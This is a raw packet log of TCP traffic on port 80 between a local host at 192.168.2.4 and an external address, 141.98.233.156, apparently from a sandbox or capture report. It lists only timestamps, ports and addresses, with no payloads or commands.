Oct 4, 2024 09:52:33.296082973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296096087 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296127081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296160936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296191931 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296225071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296256065 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296252966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.296292067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296327114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.296327114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.296327114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.296327114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.296327114 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.296416998 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296448946 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296479940 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296509981 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296559095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296588898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296619892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296649933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296669960 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.296669960 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.296669960 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.296681881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296710014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296741962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296745062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.296745062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.296745062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.296773911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296773911 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.296792030 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.296813965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.296827078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296860933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296891928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296925068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296956062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.296988964 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.297019958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.297054052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.297074080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297074080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297074080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297074080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297074080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297075033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297075033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297159910 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297350883 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.297383070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.297415018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.297421932 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297421932 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297441959 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.297473907 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.297485113 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297485113 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297507048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.297528982 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297538996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.297552109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297571898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.297594070 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297604084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.297624111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297636032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.297660112 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297683001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297732115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.297764063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.297787905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297795057 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.297811031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297827959 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.297854900 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297862053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.297874928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297894001 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.297915936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297926903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.297945023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.297977924 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.298228025 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.298255920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.298288107 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.298290968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.298311949 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.298321009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.298330069 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.298352957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.298372984 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.298384905 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.298396111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.298417091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.298446894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.298450947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.298484087 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.298487902 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.298487902 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.298535109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.298590899 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.298621893 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.298646927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.298654079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.298664093 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.298685074 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.298707008 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.298717022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.298729897 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.298747063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.298767090 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.298779011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.298789024 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.298810959 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.298834085 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.298841953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.298871994 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.298878908 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.298893929 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.298913956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.298933983 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.298973083 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.323878050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.329261065 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.507957935 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508002996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508058071 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508106947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508137941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508172989 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508204937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508236885 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508268118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508299112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508337021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508363962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.508369923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508363962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.508363962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.508363962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.508363962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.508363962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.508363962 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.508364916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.508402109 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508433104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508450031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.508450031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.508465052 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508475065 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.508497953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508523941 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.508528948 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508548021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.508560896 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508591890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508596897 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.508618116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.508625031 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508641005 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.508657932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508682966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.508706093 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.508802891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508835077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508869886 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508900881 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508933067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.508986950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509026051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509026051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509026051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509026051 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509035110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509068012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509099007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509102106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509130955 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509139061 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509159088 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509162903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509177923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509196043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509227037 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509258032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509289026 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509319067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509349108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509378910 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509411097 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509413958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509413958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509413958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509413958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509414911 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509443045 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509474993 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509496927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509496927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509506941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509535074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509540081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509572029 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509598970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509603024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509620905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509634018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509653091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509666920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509680986 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509697914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509712934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509731054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509762049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509777069 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509794950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.509812117 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.509843111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.510545969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.510601044 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.510649920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.510653973 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.510682106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.510696888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.510715008 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.510725975 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.510746956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.510776043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.510796070 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.510807991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.510818958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.510839939 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.510871887 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.510885954 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.510904074 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.510922909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.510935068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.510956049 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.510970116 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.510982990 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.511001110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.511013985 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.511034012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.511044025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.511066914 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.511099100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.511111975 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.511130095 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.511143923 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.511162996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.511178017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.511194944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.511240959 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.511657953 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.511691093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.511723995 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.511742115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.511755943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.511765957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.511787891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.511801004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.511818886 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.511831999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.511852980 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.511874914 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.511883974 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.511905909 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.511913061 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.511924028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.511945009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.511976957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.511992931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.512007952 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.512027025 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.512039900 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.512059927 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.512072086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.512075901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.512103081 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.512134075 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.512147903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.512166023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.512181997 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.512198925 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.512212038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.512231112 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.512263060 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.512278080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.512310028 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.512866020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.512919903 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.512954950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.512964010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.512986898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.512988091 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513009071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.513020992 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513027906 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.513055086 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513065100 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.513087988 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513096094 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.513119936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513130903 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.513156891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513169050 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.513190031 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513222933 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513237953 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.513256073 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513271093 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.513288021 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513303041 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.513319969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513351917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513365984 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.513385057 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513397932 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.513417006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513432026 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.513451099 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513482094 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513495922 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.513519049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513529062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.513559103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:33.513657093 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513689995 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513721943 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:33.513741970 CEST	49745	80	192.168.2.4	141.98.233.156
